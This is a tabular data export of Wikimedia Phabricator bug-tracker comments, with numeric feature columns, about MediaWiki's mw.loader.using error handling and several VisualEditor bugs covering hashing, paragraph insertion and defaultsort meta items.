230897,mw.loader.using should not throw an exception when an optional module doesn't exist,Re-opening. Please don't mark bug fixed until they are approved and landed in master.,,,1367278982,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.789473684210526,0.9473684210526315,Re-opening. Please don't mark bug fixed until they are approved and landed in master.
230892,mw.loader.using should not throw an exception when an optional module doesn't exist,That change should go out during next Tuesday's regular deployment,,,1367012844,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,1.0,That change should go out during next Tuesday's regular deployment
230887,mw.loader.using should not throw an exception when an optional module doesn't exist,Related URL: https://gerrit.wikimedia.org/r/60346 (Gerrit Change Ic2f81b725acac2086178e33033f10c4c80ae1573),,,1366670776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic2f81b725acac2086178e33033f10c4c80ae1573)
230882,mw.loader.using should not throw an exception when an optional module doesn't exist,"Well it's more a historic problem. If a module has been added via out->addModules previously requesting a module vs mw.loader.using was unlikely to throw an exception.

Now with the targets property this becomes more muddled.. a module may or may not be there - it's at the mercy of the current target.

My suggestion is to alter the implementation mw.loader.using so instead of throwing an error it accepts an error callback or even better is rewritten to return a deferred object.

It should be up to the developer to throw an exception.",,,1366352302,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,1.5,0.5,3.0,2.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,1.5,7.0,10.0,0.0,3.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,3.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.5,0.0,0.5,0.0,0.0,0.0,10.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,4.5,3.5,0.5,1.5,11.5,0.0,0.0,0.0,0.0,5.0,0.5,0.5,0.0,4.5,10.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,6.5,0.0,2.5,2.0,0.0,0.0,4.379147812971342,0.7665912518853695,"Well it's more a historic problem. If a module has been added via out->addModules previously requesting a module vs mw.loader.using was unlikely to throw an exception.

Now with the targets property this becomes more muddled.. a module may or may not be there - it's at the mercy of the current target.

My suggestion is to alter the implementation mw.loader.using so instead of throwing an error it accepts an error callback or even better is rewritten to return a deferred object.

It should be up to the developer to throw an exception."
230876,mw.loader.using should not throw an exception when an optional module doesn't exist,"**jgonera** wrote:

So what is the problem exactly? How the proposed solutions fix it? Why wouldn't the developer do:

try {
    mw.loader.using( ...
} catch ( e ) {
    ...
}",,,1366328222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2127659574468086,0.7021276595744681,"**jgonera** wrote:

So what is the problem exactly? How the proposed solutions fix it? Why wouldn't the developer do:

try {
    mw.loader.using( ...
} catch ( e ) {
    ...
}"
230868,mw.loader.using should not throw an exception when an optional module doesn't exist,"""allow the user to handle the error themselves"" should read ""allow the developer to handle the error themselves""",,,1366152465,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.318181818181818,0.5,"""allow the user to handle the error themselves"" should read ""allow the developer to handle the error themselves"""
48895,VisualEditor: ve.getHash custom hashes are double-hashed,"Our current setup for custom hashing objects to to give them a method .getHash() which looks like this:

T.prototype.getHash = function () {
  var someSubsetOfT = // code here
  return ve.getHash( someSubsetOfT );
}

and to invoke we use

 ve.getHash( instanceOfT );

However ve.getHash( instanceOfT ) === ve.getHash( ve.getHash( someSubsetOfT ) )
which isn't really what we want.

One solution would be to rename getHash to getHashableObject (or something) and have it return just someSubsetOfT directly.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1365087000,1365506219.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-kdifvxztyisvsjamslc7,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,1.0,0.0,0.0,1.0,3.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.0,4.5,4.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,4.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,4.0,0.0,2.0,2.5,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,3.0,4.5,3.5,0.0,0.0,0.0,3.0,0.0,2.0,0.5,0.5,0.5,0.0,0.0,0.0,4.2225409836065575,0.6691256830601093,"Our current setup for custom hashing objects to to give them a method .getHash() which looks like this:

T.prototype.getHash = function () {
  var someSubsetOfT = // code here
  return ve.getHash( someSubsetOfT );
}

and to invoke we use

 ve.getHash( instanceOfT );

However ve.getHash( instanceOfT ) === ve.getHash( ve.getHash( someSubsetOfT ) )
which isn't really what we want.

One solution would be to rename getHash to getHashableObject (or something) and have it return just someSubsetOfT directly.

--------------------------
**Version**: unspecified
**Severity**: normal"
231424,VisualEditor: ve.getHash custom hashes are double-hashed,"Reopened for 58241, but now that is done am closing again.",,,1365506219,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6923076923076925,1.0,"Reopened for 58241, but now that is done am closing again."
231420,VisualEditor: ve.getHash custom hashes are double-hashed,"Ed, did you re-open because there's more to do, or because Jenkins dying meant the changes weren't merged? :-)",,,1365469450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,8.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,15.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.5384615384615383,0.9230769230769231,"Ed, did you re-open because there's more to do, or because Jenkins dying meant the changes weren't merged? :-)"
231416,VisualEditor: ve.getHash custom hashes are double-hashed,Related URL: https://gerrit.wikimedia.org/r/58241 (Gerrit Change I6a9b42facd97fbf49042d3a082121ec93659b9f1),,,1365463023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6a9b42facd97fbf49042d3a082121ec93659b9f1)
231411,VisualEditor: ve.getHash custom hashes are double-hashed,Related URL: https://gerrit.wikimedia.org/r/58235 (Gerrit Change If11071d4b04a01e25102ffb57240882f650ee10d),,,1365460226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If11071d4b04a01e25102ffb57240882f650ee10d)
48800,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,"e.g. inserting <p>c</p><p>d</p> into <p>ab</p> between a and b results in

<p>a</p><p>c</p><p></p><p>d</p><p>b</p>

This is because fixUpInsertion fixes c & d separately and after inserting c (by closing out a) it decides to re-open the paragraph it closed (sensible), but the d comes along as splits that new paragraph (not sensible), resulting in a blank paragraph between the two.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1364923620,1366927098.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,0.0,0.0,0.0,1.0,4.5,0.5,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,8.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,2.5,1.5,2.5,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.5,9.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,11.0,3.6712121212121214,0.678956228956229,"e.g. inserting <p>c</p><p>d</p> into <p>ab</p> between a and b results in

<p>a</p><p>c</p><p></p><p>d</p><p>b</p>

This is because fixUpInsertion fixes c & d separately and after inserting c (by closing out a) it decides to re-open the paragraph it closed (sensible), but the d comes along as splits that new paragraph (not sensible), resulting in a blank paragraph between the two.

--------------------------
**Version**: unspecified
**Severity**: normal"
225881,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,NB: this bug is not restricted to paragraphs,,,1364923756,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,NB: this bug is not restricted to paragraphs
225877,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,https://gerrit.wikimedia.org/r/#/c/55791/,,,1364923669,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
48799,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,"e.g. inserting a <p>Bar</p> into <p>Foo</p> after the last 'o' results in:

<p>Foo</p><p>Bar</p><p></p>

The original paragraph is split, then the Bar is inserted, then the paragraph is reopened again.

Or in transaction terms:

insert: '<p>Bar</p>'

coverts to

insert: </p><p>Bar</p><p>'

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1364923440,1367020450.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,21.0,3.3917525773195876,0.4845360824742268,"e.g. inserting a <p>Bar</p> into <p>Foo</p> after the last 'o' results in:

<p>Foo</p><p>Bar</p><p></p>

The original paragraph is split, then the Bar is inserted, then the paragraph is reopened again.

Or in transaction terms:

insert: '<p>Bar</p>'

coverts to

insert: </p><p>Bar</p><p>'

--------------------------
**Version**: unspecified
**Severity**: normal"
225827,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,Gerrit 61048 is now merged; marking as fixed - will go out in Monday's deploy train.,,,1367020450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6315789473684212,1.0,Gerrit 61048 is now merged; marking as fixed - will go out in Monday's deploy train.
225820,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,For some reason the bug isn't reporting this: https://gerrit.wikimedia.org/r/#/c/61048/ addresses this and is waiting for jenkins-bot to merge it.,,,1367016710,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_subcomment,,True,c1,1,False,,,-10,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.75,0.9166666666666666,For some reason the bug isn't reporting this: URL addresses this and is waiting for jenkins-bot to merge it.
48571,"VisualEditor: Store rendered html of MW aliens in index-value store, hashed on parameters","This is in preparation for performing transactions on templates and having to update the html asynchronously.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1364316180,1366130654.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-pxkrw7ecjvb7q433anxa,task_description,resolved,True,c1,1,True,False,True,-14,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.742857142857143,0.7428571428571429,"This is in preparation for performing transactions on templates and having to update the html asynchronously.

--------------------------
**Version**: unspecified
**Severity**: normal"
211422,"VisualEditor: Store rendered html of MW aliens in index-value store, hashed on parameters",This has been done in https://gerrit.wikimedia.org/r/#/c/57326/,,,1366130654,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pxkrw7ecjvb7q433anxa,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,This has been done in URL
48465,VisualEditor: Create meta item for defaultsort,"If Parsoid has a meta thing for defaultsort that is

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1363989120,1367275111.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4o3l42xhur3szmao22jr,task_description,resolved,True,c1,1,False,False,True,-15,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,14.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.6785714285714286,"If Parsoid has a meta thing for defaultsort that is

--------------------------
**Version**: unspecified
**Severity**: normal"
230077,VisualEditor: Create meta item for defaultsort,This is now merged.,,,1367275094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
230070,VisualEditor: Create meta item for defaultsort,Related URL: https://gerrit.wikimedia.org/r/61374 (Gerrit Change I604a79c25e5b0315f7e6437da657977b0efa77db),,,1367246090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I604a79c25e5b0315f7e6437da657977b0efa77db)
230065,VisualEditor: Create meta item for defaultsort,"Now defined as:

  {{DEFAULTSORT:foo}}

->

  <meta property=""mw:PageProp/categorydefaultsort"" content=""foo"">

From https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Category_default_sort_key

[Parsoid does not yet support editing of these items.]",,,1366665947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.7674418604651163,0.7906976744186046,"Now defined as:

  {{DEFAULTSORT:foo}}

->

  <meta property=""mw:PageProp/categorydefaultsort"" content=""foo"">

From URL

[Parsoid does not yet support editing of these items.]"
